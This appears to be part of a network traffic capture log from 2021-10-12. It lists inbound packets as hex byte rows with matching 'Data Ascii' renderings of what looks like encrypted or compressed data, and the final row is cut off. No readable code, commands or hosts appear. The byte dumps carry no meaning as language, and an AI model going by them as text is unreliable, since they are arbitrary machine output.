                                                            2021-10-12 07:38:07 UTC99INData Raw: 26 b7 e6 e7 a1 97 85 de 23 30 64 52 07 ac 37 f0 50 35 27 c6 e4 81 15 1d e8 22 57 d5 c4 23 48 43 33 ac 22 33 86 0c f5 e9 ef 3c 83 f4 65 46 ab 09 66 4f 73 ff cf 86 a9 be a3 a2 cb f3 84 52 a8 26 6c f6 bd 51 13 91 fb 4e e8 52 87 a2 b1 de d4 f8 7e d1 a1 f4 1a bc a6 35 d8 2e d8 33 52 89 76 e5 9c 54 30 a2 bd 1c 05 5f 57 97 d1 38 f9 ce 91 85 8c fe ae 72 a1 bd d4 ba 4d 11 d5 f4 c1 4e a4 98 14 c7 2c d7 f2 b8 9c 32 9a f8 f8 3b 12 6a 66 db c1 c9 69 21 2d f4 4f 97 02 4e 60 2d 49 5a 26 0e e7 71 86 8b 81 86 5e e7 fd 68 93 58 3a ab 01 c6 2f e9 87 c0 66 b3 b2 34 ce e0 cf 3e 2c 57 c5 5c 1d 76 62 9c 40 e3 da 5a 3c f2 46 89 ea b6 95 56 48 a3 47 4f 44 c5 d8 3b 54 70 62 b2 85 94 ca e0 3f ad 77 21 be a7 2b 6e 79 68 97 c3 a4 f5 15 79 b5 a4 f2 bf f9 e4 60 ae 72 b8 f1 ce 6c c4 47
                                                            Data Ascii: &#0dR7P5'"W#HC3"3<eFfOsR&lQNR~5.3RvT0_W8rMN,2;jfi!-ON`-IZ&q^hX:/f4>,W\vb@Z<FVHGOD;Tpb?w!+nyhy`rlG
                                                            2021-10-12 07:38:07 UTC100INData Raw: 4d 30 be 40 cb fe 42 37 ec c4 cc a0 1e 08 7f 39 12 af 98 ac 95 06 73 a2 11 a0 83 3b d9 24 a6 b7 49 32 43 f2 71 66 13 cf 64 8a 9c d5 79 a0 c2 5c 97 4d dd df 73 c2 de 38 7c e0 e5 43 8b 37 37 2e 51 11 e2 3f 60 e6 e6 db 24 b3 7b be a7 01 cc ce 7d 22 60 85 09 a7 dc 0f 48 1c 96 6d ba 9d e4 1c 30 89 65 48 ed ab cd 8f 41 60 00 13 c9 f8 45 d4 60 41 67 ef 86 c5 4b 7e 96 c4 ea 8e 62 4b eb 92 1b 55 eb 1a 62 df ff e5 fb 69 ff 5b f7 a6 e5 82 e2 37 56 20 36 90 85 33 a7 c5 78 6a a9 e4 0d a9 eb 5d 9c 42 9c 54 69 f6 53 f0 52 e1 45 49 a4 5c ed 86 85 7b 80 a5 6e 09 c4 2a 16 9a 0b 2d 9d a0 a7 cd f5 c8 a7 a6 db ce 7c 46 4b be f1 59 62 85 36 8e 85 d1 34 97 30 97 f0 ad 3d 50 62 3d 4e ef 6c 03 04 79 8e 0b c8 02 2d e4 49 8c f9 7d 46 54 f3 9f ea 54 42 4e b4 3f d4 4c c3 e9 b4 7c 6a
                                                            Data Ascii: M0@B79s;$I2Cqfdy\Ms8|C77.Q?`${}"`Hm0eHA`E`AgK~bKUbi[7V 63xj]BTiSREI\{n*-|FKYb640=Pb=Nly-I}FTTBN?L|j
                                                            2021-10-12 07:38:07 UTC102INData Raw: 26 2c d7 c3 3e b2 78 35 bd 25 30 e2 02 e7 ec eb 42 1b eb 6b b2 a0 3b 79 4b 08 fe c8 90 53 93 16 be d3 f3 87 52 a8 25 69 1f 42 7c 3a 85 db 50 c3 de 7a 4c 4b eb c8 36 7b fd 09 f5 1d be 02 25 d9 3f ca ae e3 09 05 88 19 52 5e 36 d4 d0 1e a1 50 a4 da 29 87 c0 81 80 96 20 af df a8 85 28 d8 b0 ee c0 eb ca 24 0a 89 11 d2 3a 32 e0 92 8c 21 e7 e9 e5 c5 17 29 fb db ba cd 65 3e 23 e0 5c 90 9d fc 10 93 b7 5b 00 18 c2 b8 7e 74 6f 9f 50 e3 06 69 ae 4a 27 dc f1 c6 03 e5 99 ff 2c bd ad 33 cb fd a0 81 29 48 c5 bd 04 49 72 9e 53 9e c9 4e c2 f7 62 fc 65 cf 9b 5d 27 76 4f c1 f5 6c fb b4 53 70 79 a1 81 05 65 cc 22 a5 13 39 ac a1 2f 7d 04 63 68 c2 8c ea 69 17 a4 a5 f6 b7 6b 40 09 00 63 be e4 c2 81 c0 6b 69 20 b9 41 c2 30 92 e9 6b fa 22 86 63 3d e9 47 c3 0d 84 7b 50 d5 e0 34 64
                                                            Data Ascii: &,>x5%0Bk;yKSR%iB|:PzLK6{%?R^6P) ($:2!)e>#\[~toPiJ',3)HIrSNbe]'vOlSpye"9/}chik@cki A0k"c=G{P4d
                                                            2021-10-12 07:38:07 UTC103INData Raw: ac f9 20 dc 4b 3f bc 62 1e 41 eb 70 72 11 41 c2 e4 a8 be 7a 8c df e9 83 18 dc df 7d ce f6 14 e6 f4 f4 4c f2 81 58 80 5b 16 f9 27 cb 8c 3c c1 27 be ef 8f 5e 1d a1 4e 73 23 6a 82 6d 92 b7 27 d2 00 a5 61 a5 ec 24 b2 30 83 78 7e fe b4 fd 9d 45 56 fe 12 e5 2c 47 af 7f 33 f6 eb 80 a0 d8 7e 95 c6 9f 56 67 4b fc ba 08 5b 1d 74 34 f6 fd 94 a4 7f f4 81 e4 d9 fd d2 f4 38 e7 a6 3c bc 89 51 ca e9 69 6b a3 3c dc ab 75 5e 8c 48 8a 48 06 5e 53 ed 7b fe 44 5a a0 5c fc 99 aa 66 7e a3 43 77 c6 8d 18 9b 1a 2b d2 d7 24 e7 f5 cc d3 97 d2 d8 5d 94 40 96 df c7 6b 94 65 f7 87 d1 3e 71 3b df bf 9b 3c 50 64 ab 6f 60 4e fc 0e 74 a6 01 c3 18 07 17 40 f2 61 e1 4f 45 fb a0 eb 54 44 c1 b9 25 9b 24 c1 e9 be f3 65 cc 0b 07 01 98 8a 33 c1 0d 43 f3 28 db 5a 31 67 d2 04 5c 03 3e eb c0 8f b5
                                                            Data Ascii: K?bAprAz}LX['<'^Ns#jm'a$0x~EV,G3~VgK[t48<Qik<u^HH^S{DZ\f~Cw+$]@ke>q;<Pdo`Nt@aOETD%$e3C(Z1g\>
                                                            2021-10-12 07:38:07 UTC104INData Raw: 66 92 d2 87 ad 96 25 a6 d7 e8 81 43 b1 3c 61 f6 bd 51 1c 8f 9f fa fb 57 8d ac ac d2 d3 06 6e f5 a4 e8 e3 bf f1 32 da 7e a7 a1 e4 31 a5 88 49 29 45 26 d2 cb 3a 48 50 88 c1 34 e3 dd 88 80 83 08 b0 52 56 84 2c 4f a3 eb cd 45 05 58 a1 96 1c cb 2d 29 e2 9c 93 2f 1f f7 d5 37 15 55 f9 a4 d8 c2 64 3a 38 c7 59 9f 13 5a 77 22 a1 a5 0b 2b ce a8 28 0f 67 98 4f f0 e6 28 95 a3 da 58 e0 d0 10 e9 8f c6 b8 a0 a7 c7 dc c9 c3 2c 79 5d b2 82 1d 5a 70 81 49 8b de 5b 2d fe 51 fb 99 b5 b9 53 23 1d c3 4d 42 d0 ea 8f 51 70 73 a8 87 79 c3 cc 33 a7 13 0e 41 a6 03 7c 00 03 98 c2 a0 e7 1e 6d 04 a7 f2 b1 68 71 1c 08 72 a9 f3 c8 81 c0 6b 7e 26 ad c6 c1 30 9c f9 14 c6 30 8e 67 04 7c 5f 3d 06 be 6e 3d 00 ee 35 6e 61 ad 24 3c 67 37 84 dc db 4e e4 be 28 1d 41 0b ba 52 77 14 85 91 9d 2a f4
                                                            Data Ascii: f%C<aQWn2~1I)E&:HP4RV,OEX-)/7Ud:8YZw"+(gO(X,y]ZpI[-QS#MBQpsy3A|mhqrk~&00g|_=n=5na$<g7N(ARw*
                                                            2021-10-12 07:38:07 UTC105INData Raw: cc d7 64 2f da 10 70 f1 e3 06 6d 98 37 2e 45 05 fb 3a c9 80 23 c8 dd a4 3d 97 77 06 ab 2a 69 f4 42 c6 73 be d7 27 e7 00 a5 61 ce d1 4a 1c 34 9c 6b 71 e5 b0 ec 84 5e 44 fe 12 e5 2f 4c cb 69 76 a5 ee 86 cf 58 70 86 c4 85 54 6b 54 e3 40 16 7d f2 70 63 c3 fe ef ae 6b 9a c5 53 a2 f1 d3 eb 33 9b 22 3e ad 8b 24 d3 6c 79 46 af 30 1b 84 d5 81 8c 42 9c 49 75 e3 5b ed 60 e9 50 45 5a 5d c1 93 b0 05 9b a3 6f 0d d1 98 25 5d 05 22 de d3 a9 dd fd d3 d8 64 da e2 71 7a 44 81 9f a3 62 83 45 17 8c c2 36 ed 23 cf 80 70 c2 51 48 27 65 71 71 09 d8 5c 28 9f ca 08 34 ed 5f e7 72 75 46 4f d3 40 fe aa 45 71 bc 28 bd cc 81 c3 41 90 93 ce 3d eb 09 98 9b a7 d6 ed 62 20 27 d8 52 b3 b8 e5 83 7e fc 34 f8 c4 0c b5 31 73 ef 17 38 e5 90 5f c3 dc b3 47 a2 82 c3 68 51 af b4 01 43 80 41 d5 c7
                                                            Data Ascii: d/pm7.E:#=w*iBs'aJ4kq^D/LivXpTkT@}pckS3">$lyF0BIu[`PEZ]o%]"dqzDbE6#pQH'eqq\(4_ruFO@Eq(A=b 'R~41s8_GhQCA
                                                            2021-10-12 07:38:07 UTC107INData Raw: b2 b4 c1 d9 7d 71 fc bb f2 07 d4 ca 4a 4a 2c dc b7 c3 36 ce 39 1b 52 54 34 db cd 7f 51 50 88 c5 3a f5 a1 1f 82 92 0a a8 31 07 87 00 4e be e6 a4 dd 82 00 a2 8f 7b f6 22 3f f9 49 48 30 e1 f6 fb 40 18 04 ef dd de df 0e 29 48 74 48 97 19 6d 78 52 05 59 0a 0d cc a3 7f 1b cc 9b 4f fe eb 6c 85 32 97 a5 ff cd 0e f0 8a c6 b6 33 57 39 dd e4 e7 18 28 48 c5 a0 67 54 75 9e 46 f7 76 59 3c fc c2 75 67 b4 94 4a 0f ed 47 4f 48 f6 d7 3e 5b ae 00 b5 88 62 b6 dd 23 af 08 2d ae a3 38 06 d8 cf 81 15 2d c8 17 02 a4 d8 e2 ba 77 57 0d 7b 7c b9 fb d7 76 d7 28 e6 20 c2 45 e5 32 ed e4 11 da 27 84 1c 05 75 45 c7 11 83 65 88 14 bb 34 6e 6f e4 af 45 69 3c 89 c3 c1 50 8b 3c 22 02 40 d3 ac 74 b9 32 81 fc 95 a5 43 7e 9b 7c 01 e5 f5 b2 65 a1 37 88 1c db c6 9a 22 a5 ab 74 c8 ec 79 e8 4c 9c
                                                            Data Ascii: }qJJ,69RT4QP:1N{"?IH0@)HtHmxRYOl23W9(HgTuFvY<ugJGOH>[b#-8-wW{|v( E2'uEe4noEi<P<"@t2C~|e7"tyL
                                                            2021-10-12 07:38:07 UTC108INData Raw: 8f 66 11 b7 1d d5 22 6a 8c 66 96 37 0b 4c 04 b2 e6 b4 f2 4b 1d 23 87 63 66 fb a7 71 a3 41 4f 01 b1 d8 27 51 c0 67 25 de 42 86 cf 4d 7b 81 e4 60 41 63 4d fb 33 10 51 e3 74 0c cb eb c7 02 7e f4 8f f2 8a 1a d7 f4 3a 9f a7 39 bc 83 3a db 96 69 6e b5 2f 86 ac eb 5c 8d e0 8d 52 7d e4 45 fa 59 4c 4f 49 ae 5b f9 b5 59 7a 80 a4 79 84 c3 f6 16 9b 0e 3b d9 cc 81 60 f5 cc d8 bc f0 94 7a 7f 68 7b db 5b 64 95 c8 0f 87 d1 3f f9 26 d3 b7 cc 3c 50 6e 23 4e 97 6a 03 08 62 2b 9a ca 02 26 fc 54 e6 49 d5 46 5e d1 77 fa 54 44 57 bc 31 af f3 2e ed be 69 7b 5c 2c f8 01 99 99 ab d9 17 75 24 d8 df 5a ab cc dc 09 68 e8 2a c3 68 13 bc 28 53 57 06 30 f0 ab a3 e9 c8 ad 56 89 67 d8 64 81 91 79 07 43 8a 68 6a d1 d0 a3 23 62 85 91 2d be 88 b5 7a c9 b6 94 04 8c 1e 04 f8 b6 36 94 37 67 93
                                                            Data Ascii: f"jf7LK#cfqAO'Qg%BM{`AcM3Qt~:9:in/\R}EYLOI[Yzy;`zh{[d?&<Pn#Njb+&TIF^wTDW1.i{\,u$Zh*h(SW0VgdyChj#b-z67g
                                                            2021-10-12 07:38:07 UTC109INData Raw: fe ab 15 52 3e 02 c0 2b f6 e6 7b 84 92 06 c0 e7 aa 85 0a 2b 3e ef ca f7 fa b4 a0 89 17 b7 87 29 f3 9e 9d 3d 8e 7c f8 3b 1c 2d 14 dd c1 c5 0b 87 25 e7 40 f8 9f 4a 7f 37 9f 00 08 07 d9 c4 7a 75 7e 93 10 d8 d9 6e 93 59 34 aa 90 4d 02 e1 85 ff 4b bb ad 3f b2 5c cd 2f 23 27 43 a3 1c 50 5c b9 42 98 dc 50 e2 dc 5f f7 08 7f 95 5c 2d 48 3f b0 bd 25 0d 3e 40 61 06 8c 99 6a ca e0 2e be 1d 5a 84 a7 2f 6d 6d 2f 96 c3 aa 3f 3f f7 a1 a5 f4 91 70 79 0f 00 72 f9 9f d3 7f c3 47 75 22 ef 4f c3 30 9d ea 10 da 1b 86 67 15 78 45 c3 07 92 61 3f 7b e2 34 6e 65 86 ad 3e 67 17 88 c7 c8 28 e5 af 20 14 4a f5 bb 7e 67 10 83 85 9b a4 43 f1 f5 f5 03 fd ff a4 0f 3f 5e 76 e3 28 18 96 0a 92 ab 74 c2 c6 41 e8 4c 2f d7 67 88 48 39 65 b6 b9 ab 95 c0 cd 23 dd 74 7f 7d c3 fd 54 00 7f d6 b1 bc
                                                            Data Ascii: R>+{+>)=|;-%@J7zu~nY4MK?\/#'CP\BP_\-H?%>@aj.Z/mm/??pyrGu"O0gxEa?{4ne>g( J~gC?^v(tAL/gH9e#t}T
                                                            2021-10-12 07:38:07 UTC111INData Raw: ed ba 89 ca 41 4f 01 00 cd 32 41 bb b1 30 f6 e5 ae ca 42 7c 93 a3 44 47 63 41 82 7c 15 51 e9 1a 0d df ff e5 a1 6f f2 ea 8d a2 f1 d9 d9 f1 56 26 2f ba af 3c d9 94 17 3d a3 38 00 5f ec 56 52 57 b9 7e 5e f0 53 e7 62 e4 67 4f a1 5c eb 97 9d 46 80 a2 65 d7 c4 f0 3c 9a 1a 2e d1 db a9 ce f5 d4 d2 a5 8c ce 71 6b 40 96 df 5b 62 83 45 6f e0 d1 2b f7 32 c7 9e 7f 0c 53 64 9b 66 79 6e ed 0e 74 b7 b5 cd 07 27 ee 33 4c 63 7d 4c 52 d3 30 54 56 44 57 bd 47 23 db c1 e3 b5 66 03 b9 2b f8 0b 8b 8c 84 90 02 65 63 41 db 5a a7 1a 8b 0d 7c fd 2d ef c7 6d 24 22 7b e5 69 2d fb 87 ab ee dc bb 46 89 82 d9 64 81 e8 37 02 43 80 41 c6 c5 c4 81 a7 70 94 9f 11 9f 7c b1 7c a0 63 1b 03 86 71 10 ec a2 28 b7 8e 63 fc 92 aa c7 31 73 37 a7 61 6e 75 47 6f ef a6 cb c5 7a 4c e2 d2 b0 72 0e 11 5f
                                                            Data Ascii: AO2A0B|DGcA|QoV&/<=8_VRW~^SbgO\Fe<.qk@[bEo+2Sdfynt'3Lc}LR0TVDWG#f+ecAZ|-m$"{i-Fd7CAp||cq(c1s7anuGozLr_
                                                            2021-10-12 07:38:07 UTC112INData Raw: 24 6f 8b 11 d2 4a e5 f1 94 86 21 e7 26 d2 3b 16 04 c7 cd c1 c3 6e 16 23 e6 4a 9d c5 58 79 2c b1 4a 0f 35 06 75 74 65 7a b5 48 e5 fc 07 d5 5d 25 ad 23 c5 05 8e 42 d5 b0 b5 bb 23 cb 8a 3b 2e 29 4e e7 b4 1d 5a 7e b6 1b 9a d6 5d 14 d8 4c e6 61 db e8 5c 27 78 4d 4d 44 b5 1e 2a 51 7a 69 ad 8f 05 3f cd 22 a9 24 39 be a7 25 44 5b 7a 96 c5 88 cd 15 02 a3 ca 8f bb 77 59 02 02 74 d7 36 d1 7f cb 58 79 38 d5 20 37 31 96 ec 06 f2 3a 87 67 1f 78 42 eb 16 97 61 39 14 fd 35 6e 6f fb 1a 3f 67 3d a1 d5 cd 46 e2 a2 29 2a 59 f0 bb 78 08 0d 82 87 91 88 4f 73 dc e1 06 e5 f9 8c 2b 9c 5f 7c ee 26 1e f9 c7 90 ab 7e dd fc 5b fe 23 62 d7 67 8e fa 2f 64 b6 e0 81 cc c2 db 25 f5 5a 7d 7d c5 92 32 30 76 dc 6c 86 18 fd 0f 99 c7 54 59 8c e9 11 62 9c e7 b3 9d 27 4b 32 ff 8c 75 28 8e 73 fe
                                                            Data Ascii: $oJ!&;n#JXy,J5utezH]%#B#;.)NZ~]La\'xMMD*Qzi?"$9%D[zwYt6Xy8 71:gxBa95no?g=F)*YxOs+_|&~[#bg/d%Z}}20vlTYb'K2u(s
                                                            2021-10-12 07:38:07 UTC113INData Raw: 4b eb 68 1a 4e c4 66 13 df ee e4 b5 5f 0a 84 ca af f2 5d 43 35 90 fc e4 af 87 24 ea 81 73 6a b2 33 15 8d 15 5d a0 4f 8d 53 76 c0 3c 14 70 e1 49 56 ab 4f e6 9d a4 75 9b 5c 6e 25 c2 e0 05 9e 06 3c c6 db b8 c7 ea e5 2c 9b f7 c5 0e 6b 42 96 d9 48 65 9c 6f 1b 8c d1 2f e6 25 39 9e 48 3f 48 77 3c 66 68 65 19 f0 75 8a 95 f2 c5 d9 17 bf e9 72 76 46 4f d0 40 f1 aa 45 71 bc 28 b1 c3 81 4c be 6f 6c ce 30 eb 0a 98 9b a4 d7 08 9d 0d 04 d0 29 ad 6c cd 0b 6f fa 21 f7 d3 18 bc 33 70 f6 f8 31 d6 8b b7 c1 7e 1d 55 7b 99 d5 69 9d 94 ff 00 52 81 71 80 c4 e8 82 f8 62 87 9b 3f 9d 60 a2 71 cf b1 12 1c 9f e0 04 c0 af 21 32 28 6e 8b 80 72 d4 3f 6b 0b 52 69 6e 62 32 e8 d0 58 c0 86 0c 4f eb cf 6d f2 1b 7a 2b 35 27 f3 38 4e bb dc 42 f0 c4 21 cd ba 03 3a 48 01 03 8f c7 17 79 05 eb af
                                                            Data Ascii: KhNf_]C5$sj3]OSv<pIVOu\n%<,kBHeo/%9H?Hw<fheurvFO@Eq(Lol0)lo!3p1~U{iRqb?`q!2(nr?kRinb2XOmz+5'8NB!:Hy
                                                            2021-10-12 07:38:07 UTC114INData Raw: c0 0a b5 5f d7 0a 41 60 f2 d4 ca a7 14 64 b7 a9 7d 50 8f c3 00 1b 6d bb 3c a3 e9 2b c7 36 5c bd 4e 07 42 7a d0 62 9b f6 da f8 62 9a 45 66 36 14 07 09 ce cc 72 d1 ca 37 65 d4 0a 47 c8 90 0f 51 a7 e9 0c 25 fb 9b 37 d0 32 ae 0e 9f 8c 04 8f 26 7e 2b 7d 50 e3 a9 07 18 9a 8f 8e 6b b3 f3 47 03 22 90 79 62 fc bb e2 b0 bf 4e 2c 06 c0 3b 93 d7 78 25 20 7e 50 cc c9 cb ab 4d 78 ba 9c 54 d0 ad 1c 51 f2 7e 07 ed 01 ee 86 6f f7 8c fe 74 f9 c5 e5 38 a0 30 3f bc 89 24 fb 81 73 6a b2 33 16 7d ea 70 84 41 95 c7 7a fa 4e fe 7a e1 5e 42 bb 51 13 9c 99 75 f3 a2 6d 09 c2 e5 13 85 14 3c c6 db b8 c7 ea d2 2c 9b f7 df 7a 04 bc 97 df 5d 73 85 2a db 85 d1 34 f2 2d d4 94 64 2d 5b 7b 77 98 78 42 12 0d 7d be 4b c2 14 36 ec 68 e8 60 7d 4c 41 9a 4c e0 54 55 56 af 2e 45 da ed ff b9 00 90
                                                            Data Ascii: _A`d}Pm<+6\NBzbbEf6r7eGQ%72&~+}PkG"ybN,;x% ~PMxTQ~ot80?$sj3}pAzNz^BQum<,z]s*4-d-[{wxB}K6h`}LALTUV.E
                                                            2021-10-12 07:38:07 UTC115INData Raw: 20 2e c6 88 22 7d 07 18 a3 22 33 99 18 f5 dc ec 2d f3 eb 6b b8 aa 25 6a 4d 0a c7 d9 86 ad 98 38 aa b9 a4 80 52 bd 21 60 75 fa 7c 16 83 f2 43 86 10 86 b3 b0 c3 d8 7b 37 fc bb f2 1f c5 95 24 d9 2a d8 d2 3b 33 a1 81 1b 57 23 6e d3 cf 00 5d 5f 8c bc 61 fd ce 84 82 90 7b e7 5f a8 81 6f 79 b3 ee c0 91 f1 4b a4 89 11 d8 25 09 b3 cf a4 a6 e1 f6 f3 8c 6b 46 ee d9 c5 c1 66 45 64 e6 4a 93 04 91 68 eb 3a 70 0a 07 de d6 3d 75 7e 9d 65 f4 f8 68 91 6d 20 a7 83 c6 03 e1 78 d7 b0 ae bb 2a d8 dd a9 2e 29 48 cf b3 19 46 8a 9f 6e 9f d5 5d 13 f9 53 f5 62 b4 84 59 38 78 b8 4e 7b 4d d3 28 51 72 08 f2 98 6a cf ce 59 e9 0d 2f bb af 39 6a 2a 41 97 c3 aa e1 15 7e e2 a4 f2 bf 61 7b 05 00 72 93 86 95 7e c1 43 7c 24 14 42 fb 11 97 ea 10 d9 2a 5c 74 11 76 47 d4 68 94 63 3f 7d 9d 71 6f
                                                            Data Ascii: ."}"3-k%jM8R!`u|C{7$*;3W#n]_a{_oyK%kFfEdJh:p=u~ehm x*.)HFn]SbY8xN{M(QrjY/9j*A~a{r~C|$B*\tvGhc?}qo
                                                            2021-10-12 07:38:07 UTC116INData Raw: a2 d4 2a c9 20 b5 6a 71 10 55 ec 74 6c 15 50 de ff be be 7a 8c d9 fd fa 6d 9e de 79 d5 cc e6 69 fc e7 43 fb 92 24 23 5b 07 fe 25 ca 76 3d fc 01 b4 17 98 e8 2d b2 35 7d 28 ba 94 72 be c6 27 58 02 a5 61 9b ca 4a 1c 3a f7 60 62 ed ab f7 93 52 5c 0d 13 d8 2e 5a da 8f 33 da e2 97 ca 56 76 ab 00 85 45 63 54 e2 ad 1a 51 f2 78 07 c5 01 ee 86 78 e0 af f9 b9 e2 de f4 2d 85 37 c0 bd af 35 d0 90 03 20 a2 38 0e 90 e2 4f 88 5c 8f 5b 69 e1 5e f2 7e 1f 4e 65 ae 5f d4 fa 4a 81 7f bd 7f 1a c9 f6 07 97 05 3a 33 da 85 c1 e4 c4 ca 0a e2 9f 82 94 bf 89 c9 48 6f 83 54 05 99 2f 3f c1 3b ff 0f 65 3c 50 7b 3e 75 74 6e 12 03 6d 58 9c e6 1c 25 93 09 f3 61 79 50 57 af dc eb 54 45 4b b2 42 f2 da c1 ed 30 d8 44 e8 2a f8 0b 82 99 a2 c8 02 6e 13 21 25 5b 81 5f cf 76 34 fd 3e ef c8 67 ae
                                                            Data Ascii: * jqUtlPzmyiC$#[%v=-5}(r'XaJ:`bR\.Z3VvEcTQxx-75 8O\[i^~Ne_J:3HoT/?;e<P{>utnmX%ayPWTEKB0D*n!%[_v4>g
                                                            2021-10-12 07:38:07 UTC118INData Raw: 23 0c cc fd e6 93 3a b9 ab f6 83 52 b3 09 76 08 bc 6e 26 85 f0 78 fb 57 87 1b b4 c1 ca 10 74 d6 a0 f6 1a a9 23 24 f5 2c c4 b6 e5 36 b7 75 18 7e 5c 30 d9 cf 03 47 af 89 ed 29 d7 cc ab 63 90 7b e4 5f a8 81 6f 53 b0 ee c0 d7 e4 54 bc 04 3a d8 25 28 73 d8 8d 30 e5 dc e7 28 26 00 ef 7e c1 c3 64 c5 27 e7 5b 81 00 4e 54 7e b7 4a 0f 1e 21 aa 54 71 6a b3 55 e7 fd 68 93 58 3d 59 fe eb 0d e3 e0 1a b0 bf a7 21 80 f3 e1 0a 30 5b ca a2 0d 5f 63 60 43 b4 d5 43 2f f3 4e f7 62 a2 6b 5d 0b 71 51 5c 47 da c2 2d 4b 8e 72 9b 9b 41 c9 e7 99 ad 63 e2 bf a7 25 00 21 78 96 c3 a0 e3 17 02 e5 fe d1 bb 77 53 0f 00 72 48 c4 8a 57 57 47 75 28 75 58 15 bd bd ea 10 db 28 90 60 9b c3 52 19 14 96 6c 14 59 e2 3d 76 bd da c2 cd 67 3d 83 cb cf 4f ec 8f 23 00 4a f5 93 9b 65 10 89 af 7d a6 43
                                                            Data Ascii: #:Rvn&xWt#$,6u~\0G)c{_oST:%(s0(&~d'[NT~J!TqjUhX=Y!0[_c`CC/Nbk]qQ\G-KrAc%!xwSrHWWGu(uX(`RlY=vg=O#Je}C
                                                            2021-10-12 07:38:07 UTC119INData Raw: 23 de 79 d7 f3 2c 78 f6 f2 29 ef 98 37 24 48 11 f1 12 c5 8d 3c d6 0b 81 11 8e 78 76 2e 34 7d 24 79 8f 63 b7 f5 2d 49 02 a3 04 34 f3 4b 1a 1d 84 66 68 30 8a f5 8c 41 67 4b 12 c9 29 54 dd 67 1a d5 ea 86 c9 28 f6 94 cc 83 2a fe 4b ed b4 1b 79 a8 74 18 d5 ee e6 bc 56 d0 80 e6 a4 9e 59 f5 3c 8e 45 a3 bc 83 31 c3 83 7c 62 cc cf 0b 83 ed 51 9d 45 88 7e 86 f4 53 eb 66 6c 48 49 a4 5d fe 83 a4 60 96 8a 4a 0c c4 f0 b4 8b 04 3b d9 cf 81 64 f5 cc d8 8b dc da 55 84 44 96 d9 4c ef 84 45 08 86 c2 21 fc 2d d1 b7 42 39 50 62 95 77 66 7a 17 1a 5c 0e 9d ca 08 0f a8 42 f2 6b 55 fe 5e db 55 d2 99 45 5d b0 30 af f3 05 ea be 69 7b 5c 2c f8 01 99 99 8f d9 33 75 1a a4 e4 5a ad 6f 6f 1c 5c e8 2a ff e8 bb bc 22 71 fb 2e f4 f9 87 a7 d5 7d ad 42 a1 8b cf 45 96 a6 e2 16 cf b5 69 7e c4
                                                            Data Ascii: #y,x)7$H<xv.4}$yc-I4Kfh0AgK)Tg(*KytVY<E1|bQE~SflHI]`J;dUDLE!-B9Pbwfz\BkU^UE]0i{\,3uZoo\*"q.}BEi~
                                                            2021-10-12 07:38:07 UTC120INData Raw: 3e 9b c1 db 07 6c d9 aa d2 0b a9 41 34 fd 39 cb 21 f4 15 b9 9d 85 43 7a 30 fa 63 04 5f 5b ae d0 0f ea 5e ac 8b 83 22 b9 c4 80 94 00 44 b8 fd db ec f6 5c 34 a5 33 c9 07 3e 69 bc 9d 30 e1 fc 29 29 16 05 f4 f1 d5 c3 64 34 0f df 4b 97 19 3f 6d 3d b7 40 8a 4b de ab 7c 0a 32 98 4f f0 f2 b5 74 5f 25 a7 da ef 34 e1 8f dd a3 ad b9 33 f5 dd cf 2f 23 95 2d a0 1c 5a 76 b6 65 9d d6 5d 14 d2 4e e6 6d 9c a4 5c 27 78 7f 86 40 da d3 3e dc 5b 73 b7 98 79 d0 ce 0a 88 09 2f b9 8f 0b 6c 02 72 e5 30 a1 e3 11 11 b1 b4 e6 d4 86 52 0f 06 1d 51 f9 d3 75 d2 62 4d 2c c3 4f c3 22 b3 c2 fa d8 23 8c eb 3f 74 45 d8 14 8e 70 23 6f c8 1c 6a 65 c4 bb b3 60 3d 89 c6 dc 52 f0 87 88 02 4a ff 93 56 62 10 85 91 b3 4f 41 7a fe e4 1f f1 d7 8c 0b 9c 59 60 6e 23 18 96 0b 86 bf 60 ea 6c 41 e8 46 be
                                                            Data Ascii: >lA49!Cz0c_[^"D\43>i0))d4K?m=@K|2Ot_%43/#-Zve]Nm\'x@>[sy/lr0RQubM,O"#?tEp#oje`=RJVbOAzY`n#`lAF
                                                            2021-10-12 07:38:07 UTC121INData Raw: 8e 78 1d cc be 7c 22 60 e9 fe bf dd 05 41 1d b3 78 a4 f2 5a 0b 2f 89 8c 63 c1 aa ec 89 69 64 05 13 cf 0b 61 d4 71 38 de de 86 cf 4d 45 fd ce 85 45 7c 40 fe a9 17 40 f4 6a 0f 21 fe c3 ba 6f f0 ad 74 a3 f1 d9 ce 86 89 2a 3e a3 9b 28 df 92 69 7d bf c6 0b af ed 5e 9f 57 81 45 7e f0 42 fa 6e f8 b1 48 88 48 fc 9b a4 7a a8 cb 6e 09 ce 99 e1 9b 1a 29 de c9 b6 d6 e6 db d2 8b cc d1 5e 95 41 ba c3 4a 72 92 49 20 aa d4 3e eb 1a e9 9d 64 3a 78 8b 35 66 73 01 27 0c 74 a0 82 ee 11 30 e8 51 e5 7e 5f b8 5f f7 53 fa 44 4c 32 98 3b bb dd de ca ad 78 6c c0 3c e7 1e 66 8b 83 eb 02 6e 63 d4 da 5a ab 78 a2 d8 7e fc 34 84 3c 12 bc 24 63 80 d3 32 fa 8d ce 3c f1 aa 44 b2 84 c3 44 94 90 f4 11 54 95 62 80 c4 e8 9b 9a 67 ad 8d 3b 96 7f 8b c2 ce a0 19 1c 80 0d 12 ec b3 35 a3 b5 99 92
                                                            Data Ascii: x|"`AxZ/cidaq8MEE|@@j!ot*>(i}^WE~BnHHzn)^AJrI >d:x5fs't0Q~__SDL2;xl<fncZx~4<$c2<DDTbg;5
                                                            2021-10-12 07:38:07 UTC123INData Raw: d0 cf 0e 30 af 89 c1 2d ef df 91 91 ec 4c ae 5e ac 94 13 6c ae ec ca fb c1 47 b5 8e 18 f0 4c 28 f3 9e e3 c7 e0 f6 ff 28 1b 14 e2 b6 3d c2 64 38 31 88 9f 95 13 41 10 c1 b6 5b 0c 10 b0 7e 7a 74 74 f6 b3 f5 f8 6e 95 32 f0 a5 ff cd 6c 1f 8e d7 b6 ac a2 28 d0 8a 33 2e 29 4e d9 cd c9 58 74 94 2d 64 d7 5b 3a ee 21 33 65 b4 9f 33 d9 73 46 49 51 d4 c2 26 2f 3c 72 b7 9d 7b c4 e4 3e ad 0c 29 ac ac 5c 4e 00 78 90 d0 b0 f2 07 0a ca 8d f0 bb 71 42 1f 11 7e 90 d6 d6 7f c7 6f 5b 20 c2 49 eb df 94 ea 1a b5 07 84 67 13 65 55 d2 0c ba 4c 3a 7b e6 1c 40 67 c2 ab 16 88 3f 89 cd a7 60 e6 af 26 13 5a f6 d4 54 65 10 85 81 8a b4 2c 61 f5 f5 09 3b f0 81 27 ab 5f 76 e9 37 0c be 32 92 ab 7e 